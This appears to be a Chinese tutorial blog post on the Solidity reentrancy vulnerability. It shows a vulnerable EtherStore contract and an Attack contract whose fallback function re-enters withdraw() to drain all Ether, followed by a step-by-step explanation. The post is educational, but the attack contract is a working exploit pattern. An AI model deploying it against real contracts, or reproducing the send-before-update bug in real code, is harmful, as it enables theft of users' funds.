当前位置: 首页 > news >正文

重入漏洞EtherStore

重入漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw
在这里插入图片描述
知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

http://www.lryc.cn/news/207988.html

相关文章:

  • 账号运营的底层逻辑---获客思维
  • Pinia中如何实现数据持久化操作
  • 【owt-server】RTC视频接收调用流程学习笔记1: Call::CreateVideoReceiveStream 前后
  • 淘宝商品链接获取淘宝商品评论数据(用 Python实现淘宝商品评论信息抓取)
  • 十九、类型信息(1)
  • 十八、字符串(3)
  • 基于SSM的酒店预约及管理系统设计与实现
  • MIxformerV2的onnx和tensorrt加速
  • Kotlin 中let 、run 、with、apply、also的用法与区别
  • PHP函数的定义与最简单后门原理
  • PlantSimulation访问本地Excel文件的方法
  • 使用微PE工具箱制作winU盘启动盘~重装系统
  • 漏洞复现-jquery-picture-cut 任意文件上传_(CVE-2018-9208)
  • Golang Websocket框架:实时通信的新选择
  • ExoPlayer架构详解与源码分析(7)——SampleQueue
  • 第二证券:基本面改善预期强化 机构聚焦科技成长
  • 大语言模型在天猫AI导购助理项目的实践!
  • 【STM32】GPIO控制LED(HAL库版)
  • 第27届亚洲国际动力传动与控制技术展览会盛大开幕,意大利国家展团闪耀回归
  • 永恒之蓝漏洞 ms17_010 详解
  • 汽车托运全流程介绍
  • 【API篇】八、Flink窗口函数
  • React JSX常用语法总结
  • DVWA-Cross Site Request Forgery (CSRF)
  • 浅谈安科瑞可编程电测仪表在老挝某项目的应用
  • Java项目源码合集
  • Python学习笔记--生成器
  • 【Python学习】—Python基础语法(五)
  • 【js】JavaScript清除所有(多个)定时器的方法:
  • java实现周易64卦并返回对应的卦象(含百度百科链接)